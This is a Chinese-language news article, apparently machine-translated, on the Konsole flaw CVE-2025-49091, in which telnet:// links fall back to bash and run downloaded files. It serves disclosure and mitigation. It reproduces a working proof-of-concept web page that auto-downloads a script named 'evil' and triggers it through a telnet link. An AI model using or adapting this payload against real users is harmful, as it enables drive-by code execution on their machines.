Konsole 存在严重漏洞,只需打开网页即可执行代码

漏洞

几天前,有消息称 关键漏洞,其被认定为“CVE-2025-49091“。这个漏洞 在 Konsole 中发现(KDE 终端仿真器 (KDE Terminal Emulator) 允许攻击者通过浏览器访问恶意网页来执行远程代码。

提到这个问题 影响存在 KTelnetService 和易受攻击的 Konsole 版本的系统 已安装,但至少有一个 telnet、rlogin 或 ssh 程序未安装。该漏洞位于 KDE 终端仿真器控制台中。如 KDE 公告中所述,25.04.2 之前的 Konsole 版本存在此漏洞。

Konsole 支持从架构控制器加载 URL,例如
telnet://URL。无论 telnet 是否
二进制文件可用。

在这种模式下,Konsole 有一个路由,如果 Telnet 不可用,
将再次使用 bash 来获取提供的参数;
是提供的 URL。这允许攻击者执行任意代码。
代码。

当用户打开外部浏览器时,浏览器通常会显示一条消息。
模式控制器可能看起来可疑并且需要用户交互
可以被利用。

问题根源:KTelnetService 和危险的 URL 方案

研究人员指出,此漏洞背后的问题在于 KTelnetService 服务的行为,该服务是 KDE 默认包含的。该服务负责处理 telnet://、rlogin:// 和 ssh:// URL 方案,并旨在使用相应的实用程序(telnet、rlogin 或 ssh)直接在 Konsole 中打开这些链接。

然而,当系统未安装这些实用程序时,该漏洞就会发生。在这种情况下,Konsole 在尝试执行链接中指示的命令时,会使用 /bin/bash 作为替代。因此,攻击者可以构建自定义链接。

虽然乍一看这似乎无关紧要,但问题却变得更加复杂,因为攻击者可以使用自定义命令执行用户下载目录中的任何文件。换句话说,只要用户点击带有该方案的链接,任何文件都会自动执行。

这为什么这么危险?

现代浏览器(例如 Firefox 和 Chrome)(默认设置)会自动将下载的文件保存到 ~/Downloads 文件夹,无需用户确认。它们仅在下载完成后显示通知。

这种行为,加上在 Linux 系统上可以访问浏览器的当前目录路径,使得在用户不知情的情况下,可以从 Konsole 执行自动下载的恶意文件。

概念验证(PoC):如何利用漏洞

为了证明该漏洞的危险性,研究人员创建了以下 JavaScript 代码片段,演示了攻击者如何从网页利用此漏洞:

<html>
<head>
<script type="text/javascript">

function downloadAndRedirect() {
const anchor = document.createElement('a');
anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg==";
anchor.download = 'evil';
document.body.appendChild(anchor);
anchor.click();
document.body.removeChild(anchor);

setTimeout(() => {
window.location.href = "telnet:///proc/self/cwd/Downloads/evil";
}, 1000);
}
</script>
</head>
<body onload="downloadAndRedirect()">
</body>
</html>

在 Firefox 和 Chrome 中,如果用户接受 telnet:// 链接,则会调用以下命令:

/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil

并且,如果不存在 telnet,恶意脚本将通过 bash 执行。

临时缓解措施

在等待补丁程序时或者如果您无法立即更新,有两种简单的方法可以缓解此问题:

安装 telnet、rlogin 和 ssh 实用程序

如果这些实用程序存在,Konsole 将正确调用它们,而不会诉诸 bash。这可以防止任意内容以脚本形式执行。

sudo apt install telnet rlogin openssh-client

删除KTelnetService服务文件

您可以删除负责注册这些方案的文件:

sudo rm /usr/share/applications/ktelnetservice6.desktop

这将阻止 Konsole 自动处理 telnet://、rlogin:// 或 ssh:// 链接。

解决方案:紧急更新至 Konsole 25.04.2

该漏洞已在 Konsole 25.04.2 版本中修复,包含在 KDE Gear 25.04.2 更新中。强烈建议所有用户和系统管理员立即更新。

最后,如果您有兴趣了解更多,可以查阅详情 以下链接。


发表您的评论

您的电子邮件地址将不会被发表。 必填字段标有 *

*

*

  1. 负责数据:MiguelÁngelGatón
  2. 数据用途:控制垃圾邮件,注释管理。
  3. 合法性:您的同意
  4. 数据通讯:除非有法律义务,否则不会将数据传达给第三方。
  5. 数据存储:Occentus Networks(EU)托管的数据库
  6. 权利:您可以随时限制,恢复和删除您的信息。